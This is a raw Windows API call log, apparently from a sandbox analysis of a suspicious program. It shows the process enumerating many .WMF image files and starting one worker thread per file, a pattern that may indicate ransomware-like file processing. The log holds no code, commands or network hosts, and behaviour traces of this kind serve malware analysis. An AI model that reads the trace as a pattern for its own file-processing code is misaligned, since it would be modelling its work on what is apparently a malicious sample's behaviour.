	[0237.960] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1
	[0237.960] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1774
	[0237.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.962] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1
	[0237.962] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1778
	[0237.964] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.964] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1
	[0237.964] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x177c
	[0237.966] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.966] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1
	[0237.966] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1780
	[0237.968] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.969] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1
	[0237.969] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1784
	[0237.970] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.971] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1
	[0237.975] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1788
	[0237.977] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.978] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1
	[0237.978] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178c
	[0237.979] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.980] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1
	[0237.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1790
	[0237.982] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.982] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1
	[0237.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1794
	[0238.048] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.048] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1
	[0238.048] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1798
	[0238.050] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.051] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1
	[0238.051] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x179c
	[0238.052] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.053] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1
	[0238.053] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a0
	[0238.054] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.055] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1
	[0238.055] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a4
	[0238.057] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.058] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1
	[0238.058] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a8
	[0238.061] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.061] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1
	[0238.062] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17ac
	[0238.063] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.064] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1
	[0238.064] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b0
	[0238.067] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.067] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1
	[0238.067] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b4
	[0238.070] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.071] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1
	[0238.071] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b8
	[0238.073] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.074] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1
	[0238.074] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17bc
	[0238.076] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.077] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1
	[0238.077] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c0
	[0238.079] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.080] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1
	[0238.080] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c4
	[0238.155] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.156] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1
	[0238.157] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c8
	[0238.160] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.161] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1
	[0238.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17cc
	[0238.164] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.164] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1
	[0238.165] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d0
	[0238.167] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.167] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1
	[0238.168] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d4
	[0238.170] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.171] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1
	[0238.171] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d8
	[0238.174] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.175] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1
	[0238.175] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0238.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17dc
	[0238.177] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
